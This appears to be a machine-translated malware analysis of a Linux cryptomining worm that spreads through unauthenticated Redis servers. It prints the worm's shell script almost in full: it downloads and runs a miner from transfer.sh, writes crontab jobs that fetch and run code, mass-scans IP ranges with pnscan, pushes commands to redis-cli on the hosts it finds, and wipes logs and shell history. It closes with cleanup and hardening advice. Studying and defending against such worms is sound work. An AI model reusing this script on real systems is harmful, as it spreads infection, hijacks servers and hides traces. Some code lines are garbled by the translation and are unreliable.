ホームページ  >  記事  >  データベース  >  Linux Redis 自動マイニング感染ワーム インスタンスの分析

Linux Redis 自動マイニング感染ワーム インスタンスの分析

WBOY
WBOY転載
2023-06-03 12:48:101411ブラウズ

1. 背景

Redis不正問題によりLinuxシステムのroot権限を取得する攻撃手法が公開されて以来、その使いやすさから、ハッカーはこの問題を利用してマイニングやスキャンなどを目的としたLinuxサービスへの侵入を行っています。ブラックプロダクションでは、この問題を悪用し、pnscan を使用して他のマシンを自動的にスキャンして感染させるタイプのマイニングが存在します。このタイプの攻撃は常に存在していましたが、最近増加傾向を示しており、最近何度も捕捉されています。について詳しく分析していきます。

2. 脆弱性の説明

まず、悪用された脆弱性について説明します. デフォルトでは、Redis は 0.0.0.0:6379 にバインドされます. シールドにファイアウォールが使用されていない場合、Redis サービスはパブリック ネットワークに公開されます. 認証がオンになっていない場合、この場合、ターゲット サーバーにアクセスしている間に、任意のユーザーが承認なしで Redis にアクセスし、Redis データを読み取る可能性があります。 Redis へのアクセス権限を持たずに Redis 関連のメソッドを使用することにより、攻撃者はターゲット サーバーの ~/.ssh フォルダーにあるauthorized_keys ファイルに自分の公開キーを正常に書き込み、ターゲット サーバーに直接ログインできます (Redis サービスが存在する場合)。 root 権限から始めて、この問題を利用してサーバー上で root 権限を直接取得できます。

ZoomEyeやSHODANで検索すると、多くのRedisサービスがパブリックネットワーク上に公開されており、攻撃の対象となる可能性があることが分かりました。

Linux Redis自动化挖矿感染蠕虫实例分析

Linux Redis自动化挖矿感染蠕虫实例分析

## 3. 侵入分析

Linux Redis自动化挖矿感染蠕虫实例分析

キャプチャされたイベントを分析した結果、侵入プロセス全体におそらく次のリンクが含まれていることがわかりました。 1. ポート 6379 を開いた状態で Linux サーバーをスキャンします (その後の感染スキャン ネットワーク セグメントは 1.0.0.0/16 から 224.255.0.0/16 です)

2. redis-cli 経由で Redis に接続し、.dat ファイルにプリセットされている利用コマンドを実行して Redis データ ファイルを /var/spool/cron/root に変更し、データを Redis に挿入してスクリプトをダウンロードして実行します。 . アクション書き込み crontab タスク

3. スクリプトを通じて上記の関連動作を実装し、埋め込みを完了してマイニング プログラムを開始します

4. pnscan を再度コンパイルしてインストールし、スキャンを続けて次のターゲット

# に感染します。

IV. スクリプト分析

侵入とその後の感染全体の主な機能は、Redis の問題を crontab タスクに書き込むことによってダウンロードおよび実行された NaNd スクリプト (https://transfer.sh/MIpIA/tmp.9kIguIhkI7) に基づいています。基本的にプロセス全体の詳細をすべて取得します。これはベース スクリプトであり、解釈を通じて関連する機能を分析できます。

1. 睡眠 1

2. 検索 . -max Depth 1 -name “.mxff0” -type f -mmin 60 -delete

3. [ -f .mxff0 ] && 0

を終了します 4. エコー 0 > .mxff0

コードのこの部分が繰り返し実行の判定に使用される限り、.mxff0 ファイルはマーク ファイルとして使用されます。ファイルが存在する場合は、スクリプトがマシン上で実行されたことを意味し、直接終了します。それ以外の場合は、次のように記述します.mxff0 ファイルを開き、次のステップに進みます。

5. トラップ「rm -rf .m* NaNd tmp.* .r .dat $0」 EXIT

スクリプトの終了後に関連ファイルとスクリプト自体を削除するようにプリセット アクションを設定します。

6. setenforce 0 2>/dev/null

7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

8. crontab -r 2>/dev/null

9. rm -rf /var/spool/cron 2>/dev/null

10. grep -q 8.8.8.8 /etc/resolv.conf || echo “nameserver 8.8.8.8” >> /etc/resolv.conf

11. rm -rf /tmp/* 2>/dev/null

12. rm -rf /var/tmp/* 2>/dev/null

13. rm -rf /etc/root.sh 2>/dev/null

14. 同期 && エコー 3 > /proc/sys/vm/drop_caches

15. cat < /etc/security/limits.conf

16. *ハード ノーファイル 100000

17. * ソフト nofile 100000

18. ルートハード nofile 100000

19. ルート ソフト nofile 100000

20. * ハード nproc 100000

21. * ソフト nproc 100000

22. root ハード nproc 100000

23. ルートソフト nproc 100000

24.EOF

この部分は主にシステム構成の変更に関するもので、6 行目と 7 行目で SELINU;

をオフにします。 次に、/var/spool/cron をクリアし、システム DNS サーバー 8.8.8.8 が存在するかどうかを確認し、存在しない場合は;

を追加します。 11-13 システムの tmp ディレクトリをクリアし、関連ファイルを削除します;

14 行目はシステム キャッシュをクリアし、15 ~ 24 行目はシステム リソース制限を変更します。

25. iptables -I INPUT 1 -p tcp –dport 6379 -j DROP

26. iptables -I INPUT 1 -p tcp –dport 6379 -s 127.0.0.1 -j ACCEPT

27. ps xf | grep -v grep | grep “redis-server|nicehash|linuxs|linuxl|crawler.weibo|243/44444|cryptonight|stratum|gpg-daemon|jobs.flu.cc|nmap|cranberry|start。 sh|watch.sh|krun.sh|killTop.sh|cpuminer|/60009|ssh_deny.sh|clean.sh|./over|mrx1|redisscan|ebscan|redis-cli|barad_agent|.sr0|clay|udevs| .sshd|/tmp/init” | while read pid _; do kill -9 “$pid”; 完了

ここでは、iptables がさらに追加され、ポート 6379 がローカル アクセスのみを許可するように制限されています。同時に、マイニング、Redis クライアント、クローラー、およびその他のプロセスを含む関連プロセスを強制終了します。ここでの目的も比較的単純で、他のプロセスによる再侵入を避けるためです。プロセス;

28. rm -rf /tmp/* 2>/dev/null

29. rm -rf /var/tmp/* 2>/dev/null

30. echo 0 > /var/spool/mail/root

31. エコー 0 > /var/log/wtmp

32. エコー 0 > /var/log/secure

33. エコー 0 > /root/.bash_history

関連するログイン ログとコマンド操作履歴をクリアします;

34. YUM_PACKAGE_NAME=”iptables gcc redis coreutils bashcurl wget”

35. DEB_PACKAGE_NAME=”coreutils bash build-essential make gcc redis-server redis-tools redis iptablescurl”

36. if cat /etc/*release | grep -i CentOS; then

37. 全部きれいにしてください

38. yum install -y -q epel-release

39. yum install -y -q $YUM_PACKAGE_NAME

40. elif cat /etc/*release | grep -qi Red; then

41. 全部きれいにしてください

42. yum install -y -q epel-release

43. yum install -y -q $YUM_PACKAGE_NAME

44. elif cat /etc/*release | grep -qi Fedora; then

45. 全部きれいにしてください

46. yum install -y -q epel-release

47. yum install -y -q $YUM_PACKAGE_NAME

48. elif cat /etc/*release | grep -qi Ubuntu; then

49. エクスポート DEBIAN_FRONTEND=noninteractive

50.rm -rf /var/lib/apt/lists/*

51. apt-get update -q –fix-missing

52. $DEB_PACKAGE_NAME の PACKAGE の場合; apt-get install -y -q $PACKAGE; 完了

53. elif cat /etc/*release | grep -qi Debian; then

54. エクスポート DEBIAN_FRONTEND=noninteractive

55. rm -rf /var/lib/apt/lists/*

56. apt-get update –fix-missing

57. $DEB_PACKAGE_NAME の PACKAGE に対して; apt-get install -y -q $PACKAGE; 完了

58. elif cat /etc/*release | grep -qi Mint; then

59. エクスポート DEBIAN_FRONTEND=noninteractive

60. rm -rf /var/lib/apt/lists/*

61. apt-get update –fix-missing

62. $DEB_PACKAGE_NAME の PACKAGE に対して; apt-get install -y -q $PACKAGE; 完了

63. elif cat /etc/*release | grep -qi Knoppix; then

64. エクスポート DEBIAN_FRONTEND=noninteractive

65. rm -rf /var/lib/apt/lists/*

66. apt-get update –fix-missing

67. $DEB_PACKAGE_NAME の PACKAGE に対して; apt-get install -y -q $PACKAGE; 完了

68.その他

69. 1番出口

## 70. フィ

71. 睡眠 1

72. if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then

73.curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn /pnscan/tar.gz/v1.12

74. 睡眠 1

75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112

76. フィ

この長いコンテンツ リストの主な目的は、pnscan をダウンロード、コンパイル、インストールすることです。コンテンツから、さまざまなオペレーティング システムの判断を確認し、依存モジュールをインストールし、コンパイルのために github から pnscan のソース コードをダウンロードすることができます。コンパイルしてインストールする理由については、さまざまなシステムと互換性があり、固定特性の形成を避けるためにコンパイルごとに生成される pnscan の MD5 が異なるためと推測されます;

77. tname=$(mktemp)

78. OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZge

79.curl -s $OMURL > $tname || wget -q -O $tname $OMURL

80. NMURL=$(curl -s –upload-file $tname https://transfer.sh )

81. mv $tname .gpg && chmod x .gpg && ./.gpg && rm -rf .gpg

この部分では主に、マイニング プログラムをダウンロードして .gpg に名前変更し、実行権限を追加して実行後に​​削除し、https://transfer.sh/ に再アップロードして新しいリンクを取得します。

82. [ -z “$NMURL” ] && NMURL=$OMURL

83. ncmd=$(ベース名 $(mktemp))

84. sed ‘s|’”$OMURL”‘|’”$NMURL”‘|g' < NaNd > $ncmd

85. NSURL=$(curl -s –upload-file $ncmd https://transfer.sh )

86. エコー「フラッシュ」> .dat

87. echo ‘config set dir /var/spool/cron’ >> .dat

88. echo ‘config set dbfilename root’ >> .dat

89. echo ‘set Backup1 “tn*/2 * * * *curl -s ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

90. echo ‘set Backup2 “tn*/5 * * * * wget -O NaNd ‘${NSURL}’ && bash NaNdnt”‘ >> .dat

91. echo ‘set Backup3 “tn*/10 * * * * lynx -source ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

92. echo ‘save’ >> .dat

93. echo ‘config set dir /var/spool/cron/crontabs’ >> .dat

94. echo ‘save’ >> .dat

95. echo ‘exit’ >> .dat

コンテンツのこの部分では、主に新しい .dat ファイルが生成されます。これには、元の NaNd スクリプト内のマイニング プログラムのダウンロード アドレスが、前の手順で https://transfer.sh/ にアップロードすることで取得された新しいアドレスに置き換えられることも含まれます。 Redis を使用する場合 関連文;

96. pnx=pnscan

97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan

98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan

99. for x in $( seq 1 224 | sort -R ); do

100. for y in $( seq 0 255 | sort -R ); do

101. $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r .$x.$y.o

102. awk ‘/Linux/ {print $1, $3}’ .r.$x.$y.o > .r.$x.$y.l

103. while read -r h p; do

104. cat .dat | redis-cli -h $h -p $p –raw &

105. 完了 < .r.$x.$y.l

106.完了

107.完了

主な手順は、pnscan を呼び出して、ポート 6379 が開いており、オペレーティング システムが Linux であるターゲットのサブネット セグメント 1.0.0.0/16 から 224.255.0.0/16 をスキャンし、次に redis-cli を使用して .dat 内のコマンドを実行することです。次のターゲットに進むための感染; ここで、pnscan の -W パラメータ値は '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' で、変換されたコンテンツは '*1rn$4rnINFOrn' です。対象の Redis サービスにリクエストを送信して、Redis サーバーの各種情報や統計値を取得し、-R パラメーター値 '6f 73 3a 4c 69 6e 75 78' (変換後の内容は os:Linux) を使用して、それは Linux システムです。

108. エコー 0 > /var/spool/mail/root 2 >/dev/null

109. エコー 0 > /var/log/wtmp 2>/dev/null

110. エコー 0 > /var/log/secure 2>/dev/null

111. エコー 0 > /root/.bash_history 2>/dev/null

112. 0

を出る 最後のステップは仕上げ作業で、関連するログとコマンドの実行履歴をクリアすると同時に、スクリプトが終了するときに、スクリプトの先頭にあるトラップで事前に設定されたアクションがトリガーされ、削除操作が実行されます。関連ファイルとスクリプト自体を削除します (rm -rf m* NaNd tmp .* .r .dat $0)。

スクリプトを解釈することで、ワーム全体の動作と侵入プロセスを基本的に理解しました。これは、最初に説明したプロセスです。

さらに、スクリプトを読んだところ、侵入プロセス全体はそれほど複雑ではないものの、実際にはスクリプトには考慮すべき多くの「エンジニアリング」の詳細が含まれており、侵入者の「徹底した考慮」に人々が驚嘆していることがわかりました。

1. スクリプトの繰り返し実行を避けるために、.mxff0 ファイルを繰り返し実行の検証に使用します。 2. 成功率を高めるために、いくつかの環境の前処理:

a) SELINUX

を閉じる b) 8.8.8.8 DNS

を追加 c) tmp ディレクトリをクリアします。

d) システムキャッシュをクリアします

e) システムリソース制限を変更します

3. トレースの削除

a) トラップのプリセット アクションを使用して、スクリプトの実行後に関連ファイルとスクリプト自体を削除します。 b) 関連するログインやその他のログ、コマンド実行履歴を繰り返しクリアします

4. ピア防止

a) iptables を使用して、パブリック ネットワーク上で Redis サービスを開いて Redis サービスが再び侵入されるのを防ぎます

b) ピアによって残される可能性のある侵入動作を排除し、関連プロセスを強制終了します。

5. システムの互換性

a) オペレーティング システムを決定し、対象を絞った方法で関連コマンドを実行し、依存パッケージをインストールし、pnscan のコンパイルとインストールの成功率を最大化します。

b) SELINUX を閉じ、setenforce と /etc/sysconfig/selinux

を変更することでこれを実現します。 c) Crontab でスクリプトをダウンロードして実行するタスクを記述し、curl、wget、lynx

を通じて実装します。 d) Pnscan スキャンによりオペレーティング システムの判断力が向上し、不必要な感染の試みが減少します。 6. 機能の削除、存続の継続

a) Pnscan はインストールおよびコンパイル方法を採用しています。これにより、さまざまなシステムでの互換性が向上するだけでなく、固定された MD5 機能の形成が回避されます。 b) https://transfer.sh を使用して転送します。固定機能を形成する固定リンクを避けるために、感染するたびに新しい接続が生成されます。 c) システムにダウンロードされたすべての関連ファイルには、ランダムに生成されたファイル名が使用されます

侵入者のさまざまな「配慮」があるからこそ、侵入や感染の成功率は一定の水準に達するのである。

5. 安全に関する提案

ウイルス駆除とシステム回復

主に、スクリプトの関連する動作を参照して、対応する動作を復元および削除します:

1. 元のシステム環境とビジネス ニーズに応じて、SELINUX を閉じ、SELINUX

を再度開きます。 2. /var/spool/cron をクリアし、元のバックアップに従って復元します

3. /etc/resolv.conf を変更して DNS サービス 8.8.8.8 を追加します。影響がない場合は、そのままにするか、

を削除します。 4. システムリソース制限 (/etc/security/limits.conf) を変更し、バックアップ状況に応じて復元できるようにしました。 5. ポート 6379 の Iptables ルールを追加しました。ビジネスに影響しない場合は、

を保持することをお勧めします。 6. 該当プロセスを強制終了し、業務に必要なプロセスが含まれているか確認し、状況に応じて復旧します。 7. 関連するパッケージがインストールされています。上記の特定のリストを参照してください。状況に応じて削除することも、影響がない場合は保持することもできます。

8. pnscan をコンパイルしてインストールした後、/usr/local/bin/pnscan

を削除できます。 9. 関連するログと tmp ディレクトリをクリアします。これはシステムには影響せず、無視して構いません。

10. マイニング プロセスと感染をスキャンする pnscan を開始しました。プロセス: .gpg、pnscan、直接強制終了

いくつかの中間ファイルも含まれています。スクリプトには関連する削除操作が含まれていますが、確認のためにグローバルに検索することをお勧めします: .mxff0、.x112、.gpg、.dat、NaNd、.r.xx.xx.o/l、tmp .xxxx

Redis サービスの強化

1. 必要に応じて、バインド項目を変更します。外部ネットワークに Redis サービスを開かないように、Redis を 0.0.0.0 にバインドしないでください。iptables を使用するか、Tencent Cloud ユーザーはセキュリティ グループを通じてソースへのアクセスを制限できます

2. ビジネスに影響しない場合は、root として Redis サービスを開始しないでください。また、デフォルトのポート 6379 を変更することをお勧めします。Redis の不正な問題をターゲットとするほとんどの侵入は、デフォルトのポート

# をターゲットとしています。 3. AUTH を構成し、パスワード検証を追加します。これにより、パブリック ネットワークに公開されている場合でも、パスワードが脆弱でない限り、ハッカーは Redis サービスにアクセスして関連操作を行うことができなくなります。 4. rename-command CONFIG "RENAME_CONFIG" を使用して関連コマンドの名前を変更します。これにより、ハッカーが承認なしで Redis サービスに接続した場合でも、コマンドを知らなくても関連データを取得できるだけで、それ以上悪用することはできません

以上がLinux Redis 自動マイニング感染ワーム インスタンスの分析の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。
前の記事:Redisの使い方次の記事:Redisの使い方